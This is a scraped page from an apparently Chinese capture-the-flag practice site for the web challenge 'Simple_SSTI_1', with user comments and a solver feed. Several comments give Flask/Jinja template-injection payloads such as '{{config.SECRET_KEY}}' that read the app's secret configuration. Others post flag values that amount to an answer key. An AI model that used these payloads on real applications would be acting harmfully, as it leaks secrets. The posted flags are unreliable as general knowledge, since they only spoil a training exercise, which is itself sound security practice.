Simple_SSTI_1WEB 未解决

分数: 5 金币: 2
题目作者: valecalida
一  血: dotast
一血奖励: 2金币
解  决: 28454
提  示:
描  述:
Simple_SSTI_1
评论
bigbox1 2年前

?flag={{config.items()}}

回复 2

kaif 2年前

/?flag={{config.SECRET_KEY}}

回复 1

tqn0312 2年前

这是要干什么啊,一脸懵逼

回复 1
RcookieCookie 2年前

flask模板里有一个重要的配置变量叫SECRET_KEY,用注入的方法获取到这个变量的值就可以了。SSTI的意思是模板注入

回复 0

joec 2年前

6f12b67d0c6fb7c61136e12e876a5ccc

回复 0

DK2021 2年前

flag{fb6d9d0fae960a37d270e86bd0e18351}

回复 0

bugku1233 2年前

/?flag={{config.SECRET_KEY}}

回复 0

earlyyue 2年前

/?flag={{config}}

回复 0

18388740784 2年前

/?flag={{config.SECRET_KEY}}

回复 0

18388740784 2年前

flag{7bccd1d601dcab5089fa6ecd613fb660}

回复 0

007BD 3年前

flag{1767bf18bfd1d6480293cae5e887d6c8}

回复 0

WriteUp

image
valecalida

5 金币

评分(50)

解题动态

gongyy 攻破了该题 1小时前
123456lulu 攻破了该题 3小时前
白菜白又白 攻破了该题 18小时前
3381328748 攻破了该题 1天前
66666ctfxr 攻破了该题 1天前
Zhengzanmei 攻破了该题 1天前
qsy 攻破了该题 1天前
不知道不晓得 攻破了该题 2天前
邪恶的番茄 攻破了该题 2天前
Fbug 攻破了该题 2天前
ixin 攻破了该题 2天前
minz 攻破了该题 2天前
353866147 攻破了该题 2天前
DKQ666666 攻破了该题 2天前
18394165790 攻破了该题 3天前
顾无澜 攻破了该题 3天前
out不慢 攻破了该题 4天前
xiaodd 攻破了该题 4天前
zhy2006 攻破了该题 6天前
南京交通第一深情徐立超 攻破了该题 7天前
问题反馈